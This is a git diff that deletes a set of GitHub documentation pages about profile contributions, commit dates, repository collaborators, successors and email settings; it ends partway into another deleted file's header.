-## How GitHub uses the Git author date and commit date
-
-In Git, the author date is when someone first creates a commit with `git commit`. The commit date is identical to the author date unless someone changes the commit date by using `git commit --amend`, a force push, a rebase, or other Git commands.
-
-On your profile page, the author date is used to calculate when a commit was made. Whereas, in a repository, the commit date is used to calculate when a commit was made in the repository.
-
-Most often, the author date and commit date are the same but you may notice that your commit sequence is out of order if the commit history is changed. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile)
-
-## Viewing missing commit details from commits in your timeline
-
-You can use the `git show` command with the `--pretty=fuller` flag to check if the commit author date and commit date are different.
-
-```shell
-$ git show YOUR_COMMIT_SHA_NUMBER --pretty=fuller
-commit YOUR_COMMIT_SHA_NUMBER
-Author: octocat USER_EMAIL
-AuthorDate: Tue Apr 03 02:02:30 2018 +0900
-Commit: Sally Johnson USER_EMAIL
-CommitDate: Tue Apr 10 06:25:08 2018 +0900
-```
-
-If the author and commit date are different, you can manually change the commit date in the URL to see the commit details.
-
-For example:
-* This URL uses the author date of `2018-04-03`:
-
- `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-03T00:00:00Z&until=2018-04-03T23:59:59Z`
-* This URL uses the commit date of `2018-04-10`:
-
- `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-10T00:00:00Z&until=2018-04-10T23:59:59Z`
-
-When you open the URL with the modified commit date, you can see the commit details.
-
-## Expected commits missing in your timeline
-
-If you're not seeing expected commits on your timeline, it's possible the commit history in Git was rewritten and the commit author date and the commit date are different. For other possibilities, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md
deleted file mode 100644
index 3982999b7f0a..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: Viewing contributions on your profile
-intro: 'Your profile shows off your pinned repositories, Achievements, and a graph of your repository contributions over the past year.'
-redirect_from:
- - /articles/viewing-contributions
- - /articles/viewing-contributions-on-your-profile-page
- - /articles/viewing-contributions-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/viewing-contributions-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: View contributions
----
-Your contribution graph and Achievements show activity from public repositories. You can choose to show activity from both public and private repositories, with specific details of your activity in private repositories anonymized. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile).
-
-> [!NOTE]
-> Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your {% data variables.product.github %} account. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)
-
-## What counts as a contribution
-
-On your profile page, certain actions count as contributions:
-
-* Committing to a repository's default branch or `gh-pages` branch
-* Creating a branch
-* Opening an issue
-* Opening a discussion
-* Answering a discussion
-* Proposing a pull request
-* Submitting a pull request review{% ifversion ghes %}
-* Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %}
-
-{% data reusables.pull_requests.pull_request_merges_and_contributions %}
-
-## Popular repositories
-
-This section displays your repositories with the most watchers. Once you [pin repositories to your profile](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile), this section will change to "Pinned."
-
-## Pinned
-
-This section displays up to six public repositories or gists. Important details are listed for each of the items you've chosen to feature. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile).
-
-
-
-## Contributions calendar
-
-Your contributions calendar shows your contribution activity.
-
-### Viewing contributions from specific times
-
-* Click on a day's square to show the contributions made during that 24-hour period.
-* Press _Shift_ and click on another day's square to show contributions made during that time span.
-
-> [!NOTE]
-> You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions.
-
-
-
-### How contribution event times are calculated
-
-Timestamps are calculated differently for commits and pull requests:
-* **Commits** use the time zone information in the commit timestamp. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline).
-* **Pull requests** and **issues** opened on {% data variables.product.github %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes).
-
-## Activity overview
-
-{% data reusables.profile.activity-overview-summary %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile).
-
-
-
-The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) or [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile).
-
-## Contribution activity
-
-The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened.
-
-You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page.
-
-Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity.
-
-If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened.
-
-## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %}
-
-If you use {% data variables.product.prodname_ghe_server %} and your enterprise owner enables {% data variables.enterprise.prodname_unified_contributions %}, you can send enterprise contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile).
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
deleted file mode 100644
index fa6f7887b756..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
+++ /dev/null
@@ -1,102 +0,0 @@
----
-title: Why are my contributions not showing up on my profile?
-intro: Learn common reasons that contributions may be missing from your contributions graph.
-redirect_from:
- - /articles/why-are-my-contributions-not-showing-up-on-my-profile
- - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Missing contributions
----
-
-## About your contribution graph
-
-Your profile contributions graph is a record of contributions you've made to repositories on {% data variables.product.prodname_dotcom %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear.
-
-If you are part of an organization that uses SAML single sign-on (SSO), you won’t be able to see contribution activity from the organization on your profile if you do not have an active SSO session. People viewing your profile from outside your organization will see anonymized contribution activity of your contribution activity for your organization.
-
-## Contributions that are counted
-
-### Issues, pull requests and discussions
-
-Issues, pull requests, and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork.
-
-{% data variables.product.company_short %} limits the number of these items when displaying the contribution graph. If you've reached the limit, the contribution graph may not display all of your contributions.
-
-### Commits
-
-Commits will appear on your contributions graph if they meet **all** of the following conditions:
-* The email address used for the commits is associated with your account on {% data variables.product.prodname_dotcom %}.
-* The commits were made in a standalone repository, not a fork.
-* The commits were made:
- * In the repository's default branch
- * In the `gh-pages` branch (for repositories with project sites)
-
-For more information on project sites, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites).
-
-In addition, **at least one** of the following must be true:
-* You are a collaborator on the repository or are a member of the organization that owns the repository.
-* You have forked the repository.
-* You have opened a pull request or issue in the repository.
-
-## Common reasons that contributions are not counted
-
-{% data reusables.pull_requests.pull_request_merges_and_contributions %}
-
-### Commit was made less than 24 hours ago
-
-After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph.
-
-### Your local Git commit email isn't connected to your account
-
-Commits must be made with an email address that is connected to your account on {% data variables.product.prodname_dotcom %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address#about-commit-email-addresses).{% endif %}
-
-You can check the email address used for a commit by adding `.patch` to the end of a commit URL. For example, the following commit URL includes `.patch`.
-
-[https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch](https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch)
-
-```text
-From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001
-From: The Octocat
-Date: Sun, 27 Apr 2014 15:36:39 +0530
-Subject: [PATCH] updated index for better welcome message
-```
-
-The email address in the `From:` field is the address that was set in the [local git config settings](/get-started/git-basics/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`.
-
-If the email address used for the commit is not connected to your account on {% data variables.product.prodname_dotcom %}, you must [add the email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account) to your account on {% data variables.product.prodname_dotcom %}. Your contributions graph will be rebuilt automatically when you add the new address.
-
-{% ifversion fpt or ghec %}
-
-> [!NOTE]
-> If you use a {% data variables.enterprise.prodname_managed_user %}, you cannot add additional email addresses to the account, even if multiple email addresses are registered with your identity provider (IdP). Therefore, only commits that are authored by the primary email address registered with your IdP can be associated with your {% data variables.enterprise.prodname_managed_user %}.
-
-{% endif %}
-
-Generic email addresses, such as `jane@computer.local`, cannot be added to {% data variables.product.prodname_dotcom %} accounts and linked to commits. If you've authored any commits using a generic email address, the commits will not be linked to your {% data variables.product.prodname_dotcom %} profile and will not show up in your contribution graph.
-
-### Commit was not made in the default or `gh-pages` branch
-
-Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites).
-
-If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following:
-* [Open a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch.
-* [Change the default branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch) of the repository.
-
-> [!WARNING]
-> Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made.
-
-### Commit was made in a fork
-
-Commits made in a fork will not count toward your contributions. To make them count, you must open a pull request to have your changes merged into the parent repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request).
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md
deleted file mode 100644
index 90c8ee5cd820..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Setting up and managing your personal account on GitHub
-intro: 'You can manage settings for your personal account on {% data variables.product.prodname_dotcom %}, including email preferences, access to personal repositories, and organization memberships. You can also manage the account itself.'
-shortTitle: Personal accounts
-redirect_from:
- - /categories/setting-up-and-managing-your-github-user-account
- - /github/setting-up-and-managing-your-github-user-account
- - /account-and-profile/setting-up-and-managing-your-github-user-account
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-children:
- - /managing-user-account-settings
- - /managing-your-personal-account
- - /managing-email-preferences
- - /managing-access-to-your-personal-repositories
- - /managing-your-membership-in-organizations
----
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md
deleted file mode 100644
index d0f4022cef1f..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Managing access to your personal repositories
-intro: You can give people collaborator access to repositories owned by your personal account.
-redirect_from:
- - /categories/101/articles
- - /categories/managing-repository-collaborators
- - /articles/managing-access-to-your-personal-repositories
- - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories
-product: '{% data reusables.gated-features.user-repo-collaborators %}'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Repositories
-children:
- - /inviting-collaborators-to-a-personal-repository
- - /removing-a-collaborator-from-a-personal-repository
- - /removing-yourself-from-a-collaborators-repository
- - /maintaining-ownership-continuity-of-your-personal-accounts-repositories
-shortTitle: Access to your repositories
----
-
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
deleted file mode 100644
index 69526f6bb472..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Inviting collaborators to a personal repository
-intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.'
-redirect_from:
- - /articles/how-do-i-add-a-collaborator
- - /articles/adding-collaborators-to-a-personal-repository
- - /articles/inviting-collaborators-to-a-personal-repository
- - /github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository
- - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository
-product: '{% data reusables.gated-features.user-repo-collaborators %}'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Repositories
-shortTitle: Invite collaborators
----
-## About collaboration in a personal repository
-
-To collaborate with users in a repository that belongs to your personal account on {% data variables.product.prodname_dotcom %}, you can invite the users as collaborators.
-
-If you want to grant more granular access to the repository, you can create a repository within an organization. For more information, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github).
-
-{% ifversion ghec %}
-
-If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %}
-
-{% endif %}
-
-{% data reusables.repositories.private_forks_inherit_permissions %}
-
-## Inviting a collaborator to a personal repository
-
-You can send an invitation to collaborate in your repository directly to someone on {% data variables.product.prodname_dotcom %}{% ifversion fpt or ghec %}, or to the person's email address{% elsif ghes %}.{% endif %}.
-
-{% ifversion fpt or ghec %}
-
-{% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch).
-
-{% endif %}
-
-1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %}
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-1. In the "Access" section of the sidebar, click **{% octicon "people" aria-hidden="true" %} Collaborators**.
-1. Click **Add people**.
-1. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
-1. Click **Add NAME to REPOSITORY**.
-{% ifversion fpt or ghec %}
-1. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository.
-{% endif %}
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository#collaborator-access-for-a-repository-owned-by-a-personal-account)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository)
-* [AUTOTITLE](/organizations/organizing-members-into-teams)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md
deleted file mode 100644
index 6052b705a660..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: Maintaining ownership continuity of your personal account's repositories
-intro: You can invite someone to manage your user owned repositories if you are not able to.
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
- - Repositories
-redirect_from:
- - /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories
- - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
-shortTitle: Ownership continuity
----
-## About successors
-
-We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to:
-
-* Archive your public repositories.
-* Transfer your public repositories to their own user owned account.
-* Transfer your public repositories to an organization where they can create repositories.
-
-Successors cannot log into your account.
-
-An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see [AUTOTITLE](/free-pro-team@latest/site-policy/other-site-policies/github-deceased-user-policy).
-
-To request access to manage repositories as a successor, please contact us through the {% data variables.contact.contact_support_portal %}.
-
-## Inviting a successor
-
-The person you invite to be your successor must have a {% data variables.product.company_short %} account.
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.account_settings %}
-
-1. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears.
-
- 
-
-1. Click **Add successor**.
-{% data reusables.user-settings.sudo-mode-popup %}
-
-The user you've invited will be listed as "Pending" until they agree to become your successor.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
deleted file mode 100644
index f4e59183c1c7..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
+++ /dev/null
@@ -1,38 +0,0 @@
----
-title: Removing a collaborator from a personal repository
-intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.'
-redirect_from:
- - /articles/how-do-i-remove-a-collaborator
- - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository
- - /articles/removing-a-collaborator-from-a-private-repository
- - /articles/deleting-a-private-fork-of-a-private-user-repository
- - /articles/how-do-i-delete-a-fork-of-my-private-repository
- - /articles/removing-a-collaborator-from-a-personal-repository
- - /github/setting-up-and-managing-your-github-user-account/removing-a-collaborator-from-a-personal-repository
- - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository
-product: '{% data reusables.gated-features.user-repo-collaborators %}'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Repositories
-shortTitle: Remove a collaborator
----
-## Deleting forks of private repositories
-
-While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository.
-
-## Removing collaborator permissions from a person contributing to a repository
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.repositories.click-collaborators-teams %}
-1. To the right of the collaborator you want to remove, click **Remove**.
-
-## Further reading
-
-* [AUTOTITLE](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team)
-* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
deleted file mode 100644
index a5388f11162b..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Removing yourself from a collaborator's repository
-intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.'
-redirect_from:
- - /leave-a-collaborative-repo
- - /leave-a-repo
- - /articles/removing-yourself-from-a-collaborator-s-repo
- - /articles/removing-yourself-from-a-collaborator-s-repository
- - /articles/removing-yourself-from-a-collaborators-repository
- - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository
- - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Repositories
-shortTitle: Remove yourself
----
-{% data reusables.user-settings.access_settings %}
-1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "repo" aria-hidden="true" %} Repositories**.
-1. Next to the repository you want to leave, click **Leave**.
-1. Read the warning carefully, then click **I understand, leave this repository.**
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md
deleted file mode 100644
index 9a2f8685b1d4..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Adding an email address to your GitHub account
-intro: '{% data variables.product.github %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see [Setting your commit email address](/articles/setting-your-commit-email-address/).'
-redirect_from:
- - /articles/adding-an-email-address-to-your-github-account
- - /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Add an email address
----
-{% ifversion fpt or ghec %}
-
-> [!NOTE]
-> * {% data reusables.user-settings.no-verification-disposable-emails %}
-> * If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your email address on {% data variables.product.prodname_dotcom %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
-
-{% endif %}
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-{% data reusables.user-settings.add_and_verify_email %}
-1. If you'd like to associate the email address with your web-based Git operations, select it from the "Primary email address" dropdown menu.
-
- 
-
-## Troubleshooting adding an email
-
-If you see an error message when you try to add an email address to your account, you may be experiencing one of the following issues.
-
-### Email already in use
-
-If you see the error message `Error adding EMAIL: email is already in use`, it means the email address is already linked to another {% data variables.product.prodname_dotcom %} account. An email address can only be associated with one {% data variables.product.prodname_dotcom %} account at a time.
-
-To use this email with a different account, follow these steps:
-
-1. Sign in to the account currently linked to the email address and remove it from that account.
-1. If you don’t have access to the account, request a password reset email to recover it. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials).
-
-### Email linked to a {% data variables.enterprise.prodname_managed_user %}
-
-If the email address that you are trying to add is provided to you by your organization, you may see the `Error adding EMAIL: email is already in use` error when your organization has created a {% data variables.enterprise.prodname_managed_user %} for you in their {% data variables.enterprise.prodname_emu_enterprise %}.
-
-Reach out to your site administrator or internal IT helpdesk to learn about their deployment of {% data variables.product.prodname_ghe_cloud %} and how to access the account. You may be able to sign into the {% data variables.product.prodname_ghe_cloud %} application via the organization's identity provider (IdP).
-
-If you want to use your email address with a personal account, you must sign in to your {% data variables.enterprise.prodname_managed_user %} and unverify the email in your account settings. The email will remain linked to your {% data variables.enterprise.prodname_managed_user %}, allowing you to access the account through your organization's IdP.
-
-However, some third-party apps or services may not function properly with a {% data variables.enterprise.prodname_managed_user %} that has an unverified email address.
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md
deleted file mode 100644
index 5b572d080814..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Blocking command line pushes that expose your personal email address
-intro: 'If you''ve chosen to keep your email address private when performing web-based operations, you can also choose to block command line pushes that may expose your personal email address.'
-redirect_from:
- - /articles/blocking-command-line-pushes-that-expose-your-personal-email-address
- - /github/setting-up-and-managing-your-github-user-account/blocking-command-line-pushes-that-expose-your-personal-email-address
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Block push with personal email
----
-When you push commits from the command line, the email address that you've [set in Git](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) is associated with your commits. If you enable this setting, each time you push to GitHub, we’ll check the most recent commit. If the author email on that commit is a private email on your GitHub account, we will block the push and warn you about exposing your private email.
-
-{% data reusables.user-settings.about-commit-email-addresses %}
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-{% data reusables.user-settings.keeping_your_email_address_private %}
-1. To keep your email address private in commits you push from the command line, select **Block command line pushes that expose my email**.
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md
deleted file mode 100644
index 3b466eed1902..000000000000
